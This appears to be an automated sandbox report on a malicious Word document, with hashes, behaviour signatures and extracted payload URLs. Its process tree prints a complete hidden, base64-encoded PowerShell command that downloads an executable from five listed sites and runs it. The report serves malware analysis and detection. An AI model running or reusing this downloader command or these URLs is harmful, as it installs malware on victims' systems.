Analysis
-
max time kernel
55s -
max time network
17s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
-
submitted
20-11-2024 22:02
General
-
Target
e1991d3ee7d915f0011c1630d633bd5aa6dbb81a34bbe3774a785579ee3a13c7.doc
-
Size
200KB
-
MD5
cf81ff54490d637bfa7b0bca5d8a1c89
-
SHA1
724eff36db424daa8729d95b4b13573f4ce8bec2
-
SHA256
e1991d3ee7d915f0011c1630d633bd5aa6dbb81a34bbe3774a785579ee3a13c7
-
SHA512
458a2f1733998d6db2418278b16fd5a8e36b828f0e29501ea23c9c77566602c7727874340a614215871e2a18401881af4d112bb1b306ec746ca63d5eb6b8c5ae
-
SSDEEP
3072:+HP9UaqFh5Hr/SzFaSadGBrjC48+WZ/POhh+/JY9a1Zfx4rIqz8aFGcI6kGX:+HP+aqhSzGdD48+aPOngqzxGcI6kG
Malware Config
Extracted
http://compworldinc.com/closed_731293_8C5UbKzD9nC/EeRWoAbaA/
http://graphixagency.com/wp-cache/z40o2osj-6fzn-8077/
http://hyderabadmoversandpackers.com/uh53e/CcTNon/
http://landnewspal.com/8xohvc/UgDirz/
http://freelancedigitales.com/keo/AZPQar/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Blocklisted process makes network request 3 IoCs
-
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
-
Drops file in System32 directory 1 IoCs
-
Drops file in Windows directory 1 IoCs
-
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
-
Office loads VBA resources, possible macro or embedded object present
-
Modifies registry class 64 IoCs
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of FindShellTrayWindow 2 IoCs
-
Suspicious use of SetWindowsHookEx 2 IoCs
-
Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\e1991d3ee7d915f0011c1630d633bd5aa6dbb81a34bbe3774a785579ee3a13c7.doc"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell -w hidden -en JABDAHIAbwBrAHEAZgB0AHgAPQAnAFUAegBvAGEAaQByAGcAbQBvAGwAJwA7ACQARgBpAGEAbQBtAHoAagB5AHcAdQB2AHkAIAA9ACAAJwA3ADkAJwA7ACQAQwBoAHgAagB4AG0AZQBpAHEAcgA9ACcASABrAHAAbABnAGEAaQBnAG8AcgBtACcAOwAkAFoAZABvAHUAcQBxAHoAegB6AGMAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEYAaQBhAG0AbQB6AGoAeQB3AHUAdgB5ACsAJwAuAGUAeABlACcAOwAkAFEAZQBvAGkAagBzAHkAYwBmAG0APQAnAFcAdgBrAHgAZABlAGkAeQBuAGEAaABxACcAOwAkAFkAaABoAGwAZQBkAGQAbwB5AHAAPQAmACgAJwBuACcAKwAnAGUAdwAnACsAJwAtAG8AJwArACcAYgBqAGUAYwB0ACcAKQAgAE4ARQBUAC4AVwBlAEIAYwBMAGkAZQBuAFQAOwAkAFAAagB1AGUAcQBoAHEAZgA9ACcAaAB0AHQAcAA6AC8ALwBjAG8AbQBwAHcAbwByAGwAZABpAG4AYwAuAGMAbwBtAC8AYwBsAG8AcwBlAGQAXwA3ADMAMQAyADkAMwBfADgAQwA1AFUAYgBLAHoARAA5AG4AQwAvAEUAZQBSAFcAbwBBAGIAYQBBAC8AKgBoAHQAdABwADoALwAvAGcAcgBhAHAAaABpAHgAYQBnAGUAbgBjAHkALgBjAG8AbQAvAHcAcAAtAGMAYQBjAGgAZQAvAHoANAAwAG8AMgBvAHMAagAtADYAZgB6AG4ALQA4ADAANwA3AC8AKgBoAHQAdABwADoALwAvAGgAeQBkAGUAcgBhAGIAYQBkAG0AbwB2AGUAcgBzAGEAbgBkAHAAYQBjAGsAZQByAHMALgBjAG8AbQAvAHUAaAA1ADMAZQAvAEMAYwBUAE4AbwBuAC8AKgBoAHQAdABwADoALwAvAGwAYQBuAGQAbgBlAHcAcwBwAGEAbAAuAGMAbwBtAC8AOAB4AG8AaAB2AGMALwBVAGcARABpAHIAegAvACoAaAB0AHQAcAA6AC8ALwBmAHIAZQBlAGwAYQBuAGMAZQBkAGkAZwBpAHQAYQBsAGUAcwAuAGMAbwBtAC8AawBlAG8ALwBBAFoAUABRAGEAcgAvACcALgAiAHMAcABsAGAAaQBUACIAKAAnACoAJwApADsAJABLAHQAdAB5AGwAdQBsAHoAaAA9ACcAWgBnAHoAcgBrAGMAeQBtAHMAawBlACcAOwBmAG8AcgBlAGEAYwBoACgAJABFAGcAaQBtAG8AdAB4AHQAIABpAG4AIAAkAFAAagB1AGUAcQBoAHEAZgApAHsAdAByAHkAewAkAFkAaABoAGwAZQBkAGQAbwB5AHAALgAiAEQAbwB3AE4AYABMAG8AYABBAGQAZgBJAGwARQAiACgAJABFAGcAaQBtAG8AdAB4AHQALAAgACQAWgBkAG8AdQBxAHEAegB6AHoAYwApADsAJABLAG4AZQBuAHYAcQB3AHgAaABjAD0AJwBJAGgAYQBpAGcAdwBvAGMAaAAnADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAFoAZABvAHUAcQBxAHoAegB6AGMAKQAuACIATABgAEUAYABOAGcAdABoACIAIAAtAGcAZQAgADIAMwAyADIANAApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAFQAYABBAFIAdAAiACgAJABaAGQAbwB1AHEAcQB6AHoAegBjACkAOwAkAEgAYwB4AGoAZQBoAHgAZwB3AGsAPQAnAFEAeQBkAHIAbABzAHIAZQByAG0AYgB2AHgAJwA7AGIAcgBlAGEAawA7ACQATgBwAHYAYgBnAHAAdgBnAHQAcwA9ACcAQQBlAGIAaQB5AHQAYwByAGkAcwB4AHEAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUwByAHYAYgBjAG0AegB2AGsAcQA9ACcASABpAHYAcwBrAHoAeQB5AHIAYQAnAA==1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
444B
MD5803433084b44cd75c4631a717fc43866
SHA1c2a949b9f7ebc141c45ec975d12ed42c557d7b71
SHA25692a6b112c1c4f4b076f6cdc086c3ab044cb49d888050a5b2927c24c1ceef65f1
SHA512ad01e66bd1df52c01d274a750ea58c264c9b388d3210eeb2293411b8b22775a02dfbe77ccb85e593664fc4fd74cad98800a30f25e1f129e2b310eecc3b11bafd
-
Filesize
1024KB
-
Filesize
44KB
-
Filesize
1024KB
-
Filesize
64KB
-
Filesize
1024KB
-
Filesize
4KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
44KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
2.9MB
-
Filesize
32KB